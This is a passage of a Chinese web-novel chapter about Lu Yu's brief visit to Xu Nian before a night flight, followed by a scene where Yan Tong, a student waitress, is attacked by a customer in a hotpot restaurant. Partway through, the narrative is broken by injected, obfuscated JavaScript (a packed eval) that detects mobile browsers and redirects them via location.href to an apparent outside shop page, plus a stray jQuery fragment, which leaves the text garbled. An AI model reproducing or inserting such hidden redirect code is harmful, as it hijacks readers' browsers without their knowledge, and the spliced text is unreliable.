“对了,你还没有回答我,你怎么回来了?事情办完啦?顾彦他们呢?”
鹿玙睁眼那秒,许念刚好朝他转过身,燃烧的烟花棒迸发出成千上万的小光点,在两人之间跳跃、闪烁。
明亮的眸交织在空中,隔着银河般的璀璨,清晰地看见了对方眼中的自己。
什么是唯一和永恒?
鹿玙想,这一刻,就是了。
“哎?发什么愣啊?”许念举着仙女棒飞快在空中划拉出一个笑脸。
鹿玙学她,也划拉出一个转瞬即逝的笑脸,“事情还没有办完,顾彦和凌澈先一步去都城,我晚点再去和他们汇合。”
“哦,那等仙女棒燃完,我们进屋吧,你飞这么久肯定很累了,今晚早点休息。”
许念晃过一抹笑,鹿玙默默拽紧手上快燃尽的烟花棒,光点一寸寸暗下去,直至完全散尽,只留远处的烟花轰鸣声此起彼伏。
鹿玙的声音一掠而过。
“我两点的飞机。”
“好啊,到时我和我爸送你去机场。”
他轻声补充,“今天凌晨两点。”
“?!”许念收拾烟花棒的动作一顿,脑袋慢慢转向鹿玙,眼神惊疑,“你认真的?”
鹿玙接过许念手上燃尽的烟花棒悉数放进塑料袋,他从口袋掏出一张便携式湿巾拆开递到她手中,壁灯暖洋洋洒在两人脸上,鹿玙浅笑一声。
“嗯,我马上得去赶飞机,顺利的话,用不了几天我就能回来。”
许念的脸皱成一团表示很不理解,“所以你的意思是说,顾彦他们俩已经到了都城并且歇下了,而你,绕了道回来,再去赶飞机,第二天接着干活啊?”
鹿玙平静道,“也没有那么严重,飞机上我能休息,下了飞机应该还能再歇会。”
许念踮起脚,手背覆上他的额头,“发烧给脑子烧坏了?还是摔跤给摔傻了?”
鹿玙眼神烫人,“想见你。”仅此而已。
“砰!”
远处的烟花应声迸开,许念感觉自己的脑子从天灵盖一路往下也炸开了,那股麻意细细密密击穿心脏,一路蔓延扩散至整个胸腔,全身血液如沸腾的水花,在每一寸皮肤下激起千层浪。
她后知后觉反应过来,眸光开始飘忽不定,擦过手的湿巾直接往烧红滚烫的脸上盖。
鹿玙伸手挡下,重新拆了两张递过去,许念接过往两边脸各拍上一张,冰凉凉的触感让热起来的温度降下去不少,她小声嘀咕,“也就你不怕麻烦不嫌累的。”
鹿玙语气正经也认真,“不麻烦,也不累。”
六个字那么轻而易举说出来,好像真的顺道一样方便。
京城飞东城再转都城共3450公里,仅在飞机上的时间就需要5小时;而京城直飞都城才1088公里,只需1.5小时。
他是个笨蛋,更是个傻狗,多出来的时间好好睡一觉不香么?
许念游离的目光不经意间再次撞进那抹滚烫,几乎一瞬,脸上刚下去的温度又开始升高,她急急撇过脸,拉开毛绒外套的衣领,试图让风吹散这股热意。
鹿玙又没忍住伸手捏了捏许念毛绒外套帽子上竖着的兔耳朵,许念这时变得大方,没看他但很豪气地说,“摸吧,两只都给你摸,摸够了赶紧去赶飞机。”
鹿玙低低应了一声,两人安静地面对面,许念目光黏在地上,鹿玙视线落在那对耳朵上,真摸够了才收手。
鹿玙将塑料袋挂上腕间,双手插进口袋,声音有些低,“功课我都做了,不会落下,期末考试前,我一定回来。”
塑料袋窸窣的摩擦声和铁门开合的轻响,渐渐消散在风里。
院子里只剩下许念和她脚下的影子,她原地搓了搓脸,这四十多分钟,如梦似幻,鹿玙悄然无声出现,又了无痕迹离开。
不是空气中飘着若有似无的硝烟味,她真会以为是一场梦。
躺上床后,许念翻来覆去睡不着,她心里因鹿玙对自己藏着掖着的那点闷闷不乐在见到鹿玙后就没了影。
鹿玙在京城很辛苦,消瘦不少。
她就勉为其难不和他计较这种小事了。
许念目光落到衣架上那件毛绒外套,兔子耳朵软哒哒垂下来,上面残留的鹿玙指尖温度烧到了脸上。
鹿玙去一趟京城变了不少。他竟会做这样的事,说那样的话,让人心里怪不好意思的,也怪欢喜的……
许念红着脸在床上滚了几圈,抓过手机,把“小别扭”的备注名改成了“傻狗”。
傻狗来信,【登机了】
许念抿嘴一笑,将新备注名截图发过去,【正式通知你,备注名“光荣”升级】
鹿玙凝神看了好一会,嘴角噙了抹淡笑。许念不会知道,在见到她的那一秒,灰蒙蒙的世界变得鲜活,万物复苏。
鹿玙回她:【好】
元旦三天假期,许念拉上苏瑾和苏北北在图书馆泡了三天。题海战术做得几人头晕脑胀。
最后一天从图书馆出来,三人直奔火锅店。等锅底沸腾时,苏北北瘫在桌上,有气无力。
“你们两真拼,许念我能理解,毕竟排名永远没下过前五,苏瑾你呢?年年这么刻苦,怎么综合排名还卡在前二十不上不下的。”
苏瑾“嗷”一声张牙舞爪地扑过去,“你抢我念念,还戳我心窝子,我跟你拼了!”
苏北北穿得厚,苏瑾的攻势被轻易挡住,她转而握住苏瑾的双手,笑嘻嘻道:“这叫有实力,下学期你来A(1)吧,周一三五我和许念坐,二四六让给你。”
眼看两人闹作一团,许念从包里掏出两张便利贴,“啪”地一人一张定在她们额头上。
她扑上去左拥右抱霸道一搂,朝她们脑门吹气,“问过我了吗?就这么把我安排了,别动!你们两个都是我的。”
“哈哈……诶,等一下,等一下,”苏瑾在许怀里扑腾,“我好像看到熟人了。”
许念松了点力,视线跟着苏瑾张望的方向移,“谁啊?”
“没看错的话,”苏瑾扯下脑门的便利贴,伸长脖子看着那个走远的背影,“是你家资助的那个女生,严彤?”
“那应该看错了吧,她家离这儿挺远。”许念从东倒西歪的姿势坐端正,“再说她来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074300|193553||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这干嘛。”
“好像是当服务员啊,应该是兼职吧。”苏瑾站起身搜寻,目光最终定在七八桌外,“看,就在那儿。”
“啊?”许念跟着站起来,“还真是她。”
“你们在说谁呀?”严彤之前来许念家时见过苏瑾,但苏北北是第一次见。她顺着视线看去,只见几个穿服务员制服的背影。
“就那个扎马尾的女生。”苏瑾指给她看。
苏北北还没有辨认清楚,那边突然一阵骚动。
“别看了,好像出事了。”
许念风似地冲了过去,不忘回头招呼,“快跟上。”
“连个水壶都摆不好,当什么服务员?啊?”烫着羊毛卷的女人正死死揪着严彤的头发,另一只手拧着她的耳朵,“看看我宝贝的手被你弄成什么样了!”
不锈钢水壶倒在地面,晕开深色痕迹。
女人脚边的小孩正在嚎啕大哭。
她拧着严彤的耳朵蹲下,脸变得像东城的天气一样快,“宝贝乖,她让你疼疼了是不是?妈妈帮你教训她,好不好?”
严彤忍着火辣辣的疼,声音带着哭腔,“阿,阿姨,我特意把水壶往里面放的,还提醒过小朋友不要碰,是他自己不小心碰倒的……”
女人根本不听解释,大力扯着严彤的头皮,严彤不得不后仰脑袋以此减轻疼痛。
女人嘴里一直在骂骂咧咧。
动静引来了不少人围观,其他服务员面面相觑,悄悄往后退。直到有人喊了句“管事来了”,人群才散开几条通道。
许念趁机挤到最前面,二话不说,弯腰抱起那个哭闹的孩子,“放开她,不然你的心肝宝贝要受同样的罪了。”
小孩在怀里极不安分,拳打脚踢,一个劲挣扎哭喊。
女人不但没松手,反而揪得更紧。她瞪大双眼,眼白外露,唾沫横飞,“还来了个出头鸟,敢动我宝贝儿一根头发,我告到你倾家荡产!”
许念眼神渐冷,“告我?凭你撒泼还是凭你嗓门大?需要我帮你联系律师吗?哦对了,在此之前,还是先走完报警和验伤流程吧。”
“警察马上就到。”苏瑾晃了晃手机站到许念身边,毫不客气地骂了句,“泼妇!”
许念和苏瑾配合得相当默契,苏北北愣在原地,苏瑾拽了她一下,小声地说,“快摆出你的气势来,关键时刻别怂啊!”
店长匆匆赶来,吩咐店员疏散人群关闭店门,听到两人的话,没好气地说,“有事好商量,报警了我这生意还做不做了?”
这么一闹,今天的营业额肯定泡汤了,她尤其不满地瞪了眼提出报警的许念和苏瑾。可以私了的事,非要闹到警局去。
苏北北立刻会意,双手抱胸向前一步,朝着店长抬抬下巴,“随便打人都不报警?难道要等出了人命再说?”
店长目光不善地在三人身上来回扫视,直觉这些人不好惹,便把火气全撒在软柿子身上,“严彤!你看看店里被你搞成什么样子!这就是你说的能做好?这三天的工钱你别想要了!”
严彤含泪低着头,头皮和耳朵的剧痛让她说不出半句话。